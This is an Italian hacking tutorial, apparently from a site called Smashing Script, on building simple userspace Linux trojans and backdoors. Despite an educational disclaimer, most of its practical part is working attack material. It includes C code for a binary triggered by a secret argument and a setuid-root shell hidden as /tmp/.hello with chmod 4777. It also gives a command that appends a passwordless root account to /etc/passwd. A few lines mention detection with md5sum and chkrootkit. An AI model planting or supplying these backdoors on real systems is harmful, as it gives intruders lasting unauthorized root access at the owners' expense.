Linux & trojan: l'abc dei rootkit in pillole.... Attacco e Difesa
by ..:: nixw0rm ::.. binary - bastard!!!
INTRODUZIONE (e un pò di hackerologia romanzina)
Ora di cena, vi sedete in tavola accendete la TV e vi gustate la fettina
che mamma ha preparato... Guardate il TG, una notizia vi sconvolge:
"Giovane hacker entra nei server del Jet Propulsion Laboratory, nasconde l'intrusione
con dei cavalli di troia e ruba informazioni riservate...",
beh di cazzate ne hanno già dette tante soprattutto negli ultimi dieci anni...
Tanto per cominciare definire hacker un ragazzino che impara ad usare TFN2k per
manomettere il traffico di Yahoo, CNN, E-Bay, Amazon (è successo nel 2000 noto
caso Mafiaboy - Operazione Claymore dell'FBI [libro "the hackers diary" di Dan Verton,
"Confessioni di giovani hacker" - versione italiana]) è un errore a dir poco grave e
scorretto nei confronti di gente che ha dato la vita (nel vero senso della parola) per
la conoscenza e l'informazione libera.... Tuttavia si dice che Mafiaboy (il nick del
ragazzo) aveva craccato server di università americane, nascondendo software per il
controllo remoto per poi utilizzarli come server zombie per gli attacchi Distribuited
Denial of Service... Manomettere una macchina o nascondere codice maligno nei binari
del sistema operativo vi sembra fantascienza? Beh questo è l'articolo che fa per voi...
Preghiera prima di cominciare:
"LE INFORMAZIONI CONTENUTE NEL PRESENTE TUTORIAL SONO A SCOPO
DIDATTICO... L'AUTORE DELL'ARTICOLO E TUTTO LO STAFF DI SMASHING SCRIPT DECLINANO OGNI
RESPONSABILITA' RELATIVA ALL'USO ILLECITO DELLE INFORMAZIONI PRESENTI IN TALE ARTICOLO...
QUINDI C***I VOSTRI...."
Un'altro caso avvenuto negli anni '80: violato il sistema della nasa creando una falsa
versione del binario /bin/login che catturava le password, le salvava in un file nascosto,
dava un messaggio d'errore e richiamava il vero LOGIN... L'utente credeva che si trattasse
di un errore avvenuto durante la digitazione della password... Gli autori erano hacker
tedeschi della Germania (allora definita) dell'ovest... per chi è curioso ecco un articolo
di phrack (in inglese):
http://www.phrack.org/issues.html?issue=16&id=8#article
Ora passiamo alla parte pratica dell'articolo... Si presume che il lettore sia a conoscenza
dei principali comandi Unix (Linux va benissimo) e del linguaggio C e che sappia almeno cos'è
uno shellcode (anche se non sa farne uno... useremo dei programmini che lo fanno per noi)
KERNELSPACE & USERSPACE: Cosa sono?
Son sicuro che molti di voi sappiano che un codice può essere eseguito in modalità kernel
e in modalità user. Cosa significa? Al fine di capire il concetto senza spippolamenti vari
memorizzate tale principio: "in modalità user un codice lanciato è strettamente legato ai
permessi dell'utente che lo lancia, quindi non sperate di aprire il file delle password
da utente normale.. un binario lanciato in userspace si appoggia sulle chiamate di sistema
che operano in modalità kernel-space quindi con i privilegi massimi (root+)". Lascierò a gente
più degna di me parlarvi della programmazione kernel (articolo su smashing script dei rootkit
con allegato tutorial dei THC), mentre io mi occuperò della programmazione in modalità utente
tecniche che tuttavia sono ormai conosciute dalla maggior parte degli amministratori di sistema..
(Si può calcolare l'md5 usando md5sum...) Quindi non sperate di fare i buffoni...
farete la figuraccia dei lamer... Imparate prima!!
FONDAMENTI PRE-C
Detto ciò iniziamo con un semplice file binario tipo ls (struttura in linea di principio):
cat /bin/fakels.c
// bin/ls fake trojan
#include blabla //librerie varie
.........
.........
int main(int argc,char *argv[])
{
char trjstr[9000]="--mytrojan"; // <--- variabile aggiunta da noi
........ // altre variabili di ls
if (strcmp(argv[1],trjstr)==0)
{
// codice trojan
}else{
// codice di /bin/ls
}
..... // altro codice
}
Il concetto è semplice: se come primo argomento passate la stringa --mytrojan anzicchè eseguire
il codice di ls (visualizza i file) parte il codice del trojan da voi creato in caso contrario
ls si comporterà come sempre, ossia visualizzerà i nomi dei file presenti in una directory...
Fatto nel binario di ls non serve a nulla... Immaginiamo che succede se modifichiamo login, telnet (server)
o sshd facendogli eseguire dei comandi da noi dettati senza accedere al sistema.. Ma come? Con la funzione
system() del C:
system("/bin/ping 10.0.0.1") <-- Lancia il comando ping verso la macchina 10.0.0.1 durante l'esecuzione del
programmino..
Ecco un breve esempio in C di come si usa questa funzione:
------ CUT HERE ----------------
#include
int main()
{
char command[999];
printf("\n Inserisci comando:");
scanf("%s", &command);
system(command);
}
-----CUT HERE ------------------
questo programmino non fa niente di particolare... prende in input un comando e lo esegue, ma attenzione,
c'è un problema: la funzione scanf considera lo spazio come terminazione della stringa quindi non potete
passare parametri... Il problema si risolve con la funzione gets... il compilatore potrebbe
restituirvi un WARNING.... in effetti è un pò buggata... Quindi il nostro programma diventa:
------ CUT HERE ----------------
#include
int main()
{
char cmd[9000];
printf("\n Inserisci comando:");
gets(cmd);
system(cmd);
}
-----CUT HERE ------------------
ed il problema è risolto... :-)
PERMESSI E SHELL
Ora passiamo al discorso dei permessi: come faccio ad eseguire un codice in modalità root,
senza inserimento password di root? Ho ottenuto accesso ad un sistema e voglio creare un programmino che
bypassa i permessi e mi dia una shell di root...
Ecco qui viene il bello: usiamo la funzione system()!! Ma prima dobbiamo chiamare le funzioni setuid() e setgid()...
Interrompiamo (per ora) il discorso e passiamo a spiegare la struttura del file /etc/passwd e /etc/shadow... E' bene conoscerli...
IL FILE DELLE PASSWORD: /etc/passwd (nella maggior parte dei sistemi Unix-like)
Tale file viene utilizzato per il salvataggio delle informazioni degli utenti: home, Gecos (info aggiuntive), tipo utente, gruppo
e shell di default utilizzata...
Il numero di righe, di cui esso è composto, è equivalente al numero degli utenti presenti nel sistema:
Utenti di sistema, utenti di demoni vari, utenti di posta...
Ogni riga è così strutturata:
campo:campo:campo.... Ogni campo è separato da due punti
nomeutente:password:uid:gid:gecos:home:shell
ESEMPIO
pippo:x:0:0:PIppo_PLuto:/home/pippo:/bin/sh
il nome utente è pippo, ha i privilegi di root e appartiene al gruppo root (0 = root)
come commento ha PIppo_PLuto, la sua home è /home/pippo e usa come shell /bin/sh
e la password? Da anni ormai la password non viene più salvata nel file /etc/passwd (anche
se in forma criptata tramite DES (altra epoca!Ora sono in MD5+DES))... Vista la semplicità con cui il file
/etc/passwd era accessibile agli utenti e potevano facilmente prelevare gli hash delle password
e craccarle con john the ripper (noto password cracker), le password sono state salvate
nel file /etc/shadow, accessibile solo da utente root (almeno in un sistema sicuro e ben configurato)...
Se da utente root un malintenzionato riesce ad aggiungere la riga spoolsys::0:0::/:/bin/bash al file /etc/passwd
può effettuare il login come utente spoolsys senza password e con privilegi di root!!! Ovviamente l'amministratore non
è stupido...
# echo 'spoolsys::0:0::/:/bin/bash' >> /etc/passwd (ATTENZIONE NON USARE '>'!! CANCELLERETE TUTTI GLI UTENTI DAL SISTEMA!!!)
Immaginate (tornando al discorso del trojan) un programmino che ad una certa ora aggiunge tale riga al file....
Vorrei spiegare anche il metodo per il guessing delle password, ma il tempo è poco...
PERMESSI E SHELL: il ritorno
Dove eravamo rimasti? Ah si, alle funzioni setuid e setgid... Beh prima di tutto analizziamo un esempio:
-----CUT HERE ------------------
#include
int main()
{
char cmd[9000];
printf("\n Inserisci comando:");
gets(cmd);
setuid(0);
setgid(0);
system(cmd);
}
-----CUT HERE ------------------
il programmino tenterà di forzare i privilegi dell'utente ed eseguire il comando di system da root...
ciò avrà successo se (e solo se) il programmino è scritto, compilato, e i permessi sono stati impostati dall'utente
root... FREGATURA!!! Come faccio a diventare root? (beh exploit, avvio da altri OS e modifico /etc/passwd, social enginnering...)
Se non possiamo diventare root, almeno conserviamo l'accesso nel tempo con un trojano con privilegi impostati...
CASO CONCRETO: SHELL DI ROOT
Creiamo da root il programmino hello.c
-----CUT HERE ------------------
#include
int main(int argc,char *argv[])
{
char trjstr[9000]="--mytrojan";
if (strcmp(argv[1],trjstr)==0)
{
setuid(0);
setgid(0);
system("/bin/bash");
}else{
printf("\n HELLO WORD!!!\n");
}
}
-----CUT HERE ------------------
fatto ciò compilate il programma ed impostate i permessi:
# gcc hello.c -o /tmp/.hello
# chmod 4777 /tmp/.hello
oppure
# chmod +s /tmp/.hello
seguito da
#chmod o+x /tmp/.hello
Ma a cosa serve il punto davanti a hello? Serve a nascondere il file eseguibile
(unix tende a nascondere tutti i file che iniziano con .nomefile)
Ora provate ad accedere con un utente non root e lanciate "whoami"... Dovrebbe comparirvi
il nome dell'utente con cui avete lanciato il comando whoami... Ora provate a lanciare, sempre
dall'utente non root il programma "/tmp/.hello --mytrojan" : fatto ciò lanciate whoami: Vi comparirà root!!!
Siete root e da quella shell potete eseguire qualunque comando root...
Complimenti avete creato la vostra prima (vecchia e stupida) backdoor !!
CONCLUSIONI
Calma... Non sentitevi "hacker"... Sono concetti stupidi, conosciuti trattati e ritrattati....
Ormai di backdoor se ne trovano tante che operano a livello kernel... (rootkit tipo suckit oppure adore.. leggetevi phrack!!!)
tuttavia sono facilmente scovabili da tools come chkrootkit o da script fatti a mano da amministratori che spesso si
appoggiano su tools come md5sum che verificano l'autenticità del file (eseguibile o meno) e scovano i binari manomessi...
Una sola via di fuga per i malintenzionati: manomettere il kernel o caricare codice attraverso i moduli con insmod o modprobe...
Come al solito vi rimando a phrack (http://www.phrack.org) per approfondimenti e per tutorial degni di questo nome....
In un prossimo articolo spiegherò come "bindare" una rootshell sul TCP/IP, come modificare un binario di login, nascondere
i processi, cracking password e un breve accenno ai LKM rootkit... ma tutto a scopo didattico al fine di saper difendere la vostra
rete da malintenzionati...
CIAO!!!!
Commenti recenti
1 anno 17 settimane fa
1 anno 17 settimane fa
1 anno 17 settimane fa
1 anno 19 settimane fa
1 anno 19 settimane fa
1 anno 20 settimane fa
1 anno 20 settimane fa
1 anno 20 settimane fa
1 anno 20 settimane fa
1 anno 20 settimane fa